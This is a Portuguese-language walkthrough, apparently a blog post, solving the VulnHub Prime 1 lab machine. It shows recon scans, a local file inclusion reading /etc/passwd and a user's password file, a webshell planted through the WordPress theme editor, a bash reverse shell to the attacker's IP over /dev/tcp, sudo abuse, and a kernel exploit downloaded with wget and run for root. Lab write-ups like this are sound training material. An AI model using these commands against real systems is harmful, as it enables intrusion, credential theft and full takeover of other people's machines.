Resolução da Máquina Prime 1 do VulnHub

Reconhecimento Inicial

Identificação do Alvo na Rede

Para localizar o host alvo na sub-rede local, foi utilizado o arp-scan:

┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:84:b2:cc, IPv4: 192.168.158.143
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.158.1     00:50:56:c0:00:08       VMware, Inc.
192.168.158.2     00:50:56:e9:30:53       VMware, Inc.
192.168.158.159   00:0c:29:f1:4a:02       VMware, Inc.
192.168.158.254   00:50:56:e7:de:70       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.985 seconds (128.97 hosts/sec). 4 responded

O host 192.168.158.159 foi identificado como o alvo.

Varrredura de Portas TCP

┌──(root㉿kali)-[~]
└─# nmap -sT --min-rate 10000 -p- 192.168.158.159
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-03 09:24 CST
Nmap scan report for 192.168.158.159
Host is up (0.00070s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:F1:4A:02 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds

Foram encontradas duas portas abertas: SSH na porta 22 e HTTP na porta 80.

Detalhamento dos Serviços

┌──(root㉿kali)-[~]
└─# nmap -sT -sCV -p22,80 192.168.158.159
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-03 09:25 CST
Nmap scan report for 192.168.158.159
Host is up (0.00038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8d:c5:20:23:ab:10:ca:de:e2:fb:e5:cd:4d:2d:4d:72 (RSA)
|   256 94:9c:f8:6f:5c:f1:4c:11:95:7f:0a:2c:34:76:50:0b (ECDSA)
|_  256 4b:f6:f1:25:b6:13:26:d4:fc:9e:b0:72:9f:f4:69:68 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: HacknPentest
MAC Address: 00:0C:29:F1:4A:02 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

O servidor web roda Apache 2.4.18 em Ubuntu e o SSH utiliza OpenSSH 7.2p2.

Análise da Aplicação Web na Porta 80

Enumeração de Diretórios

Utilizando o dirsearch para encontrar diretórios e arquivos:

┌──(root㉿kali)-[~]
└─# dirsearch -u http://192.168.158.159/ -e* -i 200

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25 | Wordlist size: 14594

Target: http://192.168.158.159/

[09:31:55] Starting: 
[09:32:09] 200 -  131B  - /dev
[09:32:12] 200 -  137B  - /image.php
[09:32:28] 200 -    1KB - /wordpress/wp-login.php
[09:32:28] 200 -    4KB - /wordpress/

Foram localizados os seguintes recursos: /dev, /image.php e uma instalação WordPress em /wordpress/.

Conteúdo do arquivo /dev:

hello,

now you are at level 0 stage.

In real life pentesting we should use our tools to dig on a web very hard.

Happy hacking.

Uma varredura adicional com o dirb revelou mais endpoints:

┌──(root㉿kali)-[~]
└─# dirb http://192.168.158.159/

START_TIME: Thu Apr  3 09:26:23 2025
URL_BASE: http://192.168.158.159/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.158.159/ ----
+ http://192.168.158.159/dev (CODE:200|SIZE:131)
+ http://192.168.158.159/index.php (CODE:200|SIZE:136)
==> DIRECTORY: http://192.168.158.159/javascript/
+ http://192.168.158.159/server-status (CODE:403|SIZE:303)
==> DIRECTORY: http://192.168.158.159/wordpress/

Ao buscar por arquivos com extensões específicas, foi localizado um arquivo de texto importante:

┌──(root㉿kali)-[~]
└─# dirb http://192.168.158.159/ -X .txt,.rar,.zip,.html

URL_BASE: http://192.168.158.159/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.txt,.rar,.zip,.html) [NUM = 4]

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.158.159/ ----
+ http://192.168.158.159/secret.txt (CODE:200|SIZE:412)

O conteúdo de secret.txt fornecia pistas sobre fuzzing de parâmetros PHP e referenciava um arquivo chamado location.txt como próximo passo.

Fingerprinting do WordPress

┌──(root㉿kali)-[~]
└─# whatweb -v http://192.168.158.159/wordpress/
WhatWeb report for http://192.168.158.159/wordpress/
Status    : 200 OK
Title     : Focus – Just another WordPress site
IP        : 192.168.158.159

Summary   : Apache[2.4.18], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)],
            MetaGenerator[WordPress 5.2.2], PoweredBy[WordPress,WordPress,],
            WordPress[5.2.2]

O WordPress identificado é a versão 5.2.2.

Exploração de Vulnerabilidades

Descoberta de Parâmetros via Fuzzing

Conforme indicado nos arquivos de dica, realizou-se fuzzing nos arquivos PHP encontrados. Utilizando o wfuzz contra o index.php:

┌──(root㉿kali)-[~/vulnhub/prime1]
└─# wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.158.159/index.php?FUZZ=location.txt

Target: http://192.168.158.159/index.php?FUZZ=location.txt
Total requests: 951

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000341:   200        8 L      42 W       334 Ch      "file"

Total time: 0.465930
Processed Requests: 951
Filtered Requests: 950
Requests/sec.: 2041.077

O parâmetro file foi identificado como aceito pelo aplicativo. Isso sugere que o parâmetro pode ser usado para inclusão de arquivos arbitrários (Local File Inclusion).

Leitura de Arquivos Sensíveis via LFI

Testando a inclusão de arquivos no endpoint image.php:

http://192.168.158.159/image.php?secrettier360=/etc/passwd

O arquivo /etc/passwd foi retornado com sucesso, confirmando a vulnerabilidade de LFI. Dentre os usuários listados, a entrada de saket continha uma pista:

saket:x:1001:1001:find password.txt file in my directory:/home/saket:

Ao inspecionar o código-fonte do image.php via wrapper PHP:

<html>
<title>HacknPentest</title>
<body>
 <img src='hacknpentest.png' alt='hnp security' width="1300" height="595" />
</body>
<?php
$segredo = $_GET['secrettier360'];
if(isset($segredo))
{
    echo "finaly you got the right parameter";
    echo "<br><br><br><br>";
    include("$segredo");
}
?>
</html>

Lendo o arquivo password.txt no diretório do usuário saket:

http://192.168.158.159/image.php?secrettier360=/home/saket/password.txt

Conteúdo retornado: follow_the_ippsec

Acesso ao Painel do WordPress

Foram testados diversos nomes de usuário no login do WordPress: admin, root, victor e saket. O usuário victor autenticou-se com sucesso usando a senha obtida.

Obtenção de Shell Reverso

Após o login no WordPress, foi possível editar o arquivo secret.php dentro do tema ativo. O caminho do arquivo foi descoberto inspecionando as folhas de estilo (CSS) do site:

http://192.168.158.159/wordpress/wp-content/themes/twentynineteen/secret.php

Um webshell foi injetado e, em seguida, um reverse shell foi enviado ao servidro de ataque:

/bin/bash -c 'bash -i >& /dev/tcp/192.168.158.143/1111 0>&1'

Escalação de Privilégios

Método 1 — Abuso de Binário com Sudo

Ao verificar os privilégios sudo disponíveis para o usuário atual:

www-data@ubuntu:~$ sudo -l
User www-data may run the following commands on ubuntu:
    (root) NOPASSWD: /home/saket/enc

O binário /home/saket/enc pode ser executado como root sem senha. Ao executá-lo, era solicitada uma senha interna. Utilizando uma busca por arquivos relacionados:

find / -name '*pass*' 2>/dev/null

Foi localizado o arquivo /opt/backup/server_database/backup_pass com o conteúdo:

your password for backup_database file enc is 

"backup_password"

Enjoy!

Executando novamente o binário com a senha correta, foram revelados os arquivos: enc.txt, key.txt, password.txt e user.txt.

O arquivo enc.txt continha dados cifrados em AES e key.txt indicava que a chave derivava do hash MD5 da string ippsec.

Após descriptografar o conteúdo de enc.txt, uma mensagem revelava a credencial: tribute_to_ippsec. Essa senha foi utilizada para acessar a conta do saket:

www-data@ubuntu:~$ su - saket
Password: tribute_to_ippsec

$ id
uid=1001(saket) gid=1001(saket) groups=1001(saket)

Verificando os privilégios sudo do usuário saket:

saket@ubuntu:~$ sudo -l
User saket may run the following commands on ubuntu:
    (root) NOPASSWD: /home/victor/undefeated_victor

O binário undefeated_victor executava um script localizado em /tmp/challenge. Criando esse script contendo /bin/bash:

saket@ubuntu:/tmp$ echo "/bin/bash" > challenge
saket@ubuntu:/tmp$ chmod +x challenge
saket@ubuntu:/tmp$ sudo /home/victor/undefeated_victor

root@ubuntu:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Acesso root obtido com sucesso.

Método 2 — Exploitação de Kernel

Identificando a versão do kernel:

$ uname -a
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 GNU/Linux

Uma busca no SearchSploit revelou uma vulnerabilidade aplicável:

┌──(root㉿kali)-[~]
└─# searchsploit Linux ubuntu 4.10.0-28
---------------------------------------------------------------------------------------------------------------------------------------
 Exploit Title                                                              |  Path
---------------------------------------------------------------------------------------------------------------------------------------
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation | linux/local/45010.c
---------------------------------------------------------------------------------------------------------------------------------------

O exploit CVE-2017-16995 foi copiado e transferido ao alvo via servidor HTTP. No host comprometido:

saket@ubuntu:/tmp$ wget http://192.168.158.143:1122/45010.c
saket@ubuntu:/tmp$ gcc 45010.c -o privesc
saket@ubuntu:/tmp$ chmod +x privesc
saket@ubuntu:/tmp$ ./privesc

[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff94445064b100
[*] Leaking sock struct from ffff94447a546400
[*] Sock->sk_rcvtimeo at offset 592
[*] Cred structure at ffff94447766dc80
[*] UID from cred structure: 1001, matches the current: 1001
[*] hammering cred structure at ffff94447766dc80
[*] credentials patched, launching shell...

# id
uid=0(root) gid=0(root) groups=0(root),1001(saket)

Resumo da Exploração

A máquina Prime 1 exige uma abordagem metódica de reconhecimento e enumeração. A sequência de exploração segue o fluxo:

  1. Descoberta do arquivo /dev com pistas iniciais;
  2. Varredura de extensões com dirb para localizar secret.txt;
  3. Fuzzing de parâmetros com wfuzz, encontrando o parâmetro file;
  4. Exploração de LFI em image.php via parâmetro secrettier360 para leitura de /etc/passwd e obtenção de credenciais;
  5. Autenticação no WordPress e injeção de webshell pela edição de tema;
  6. Escalação via binário com permissão sudo, combinando com criptografia AES;
  7. Alternativamente, exploração do kernel Linux 4.10.0 com o exploit CVE-2017-16995.

Tags: VulnHub WordPress LFI Privilege-Escalation Kernel-Exploit

Publicado em 6-5 22:14 por Thomas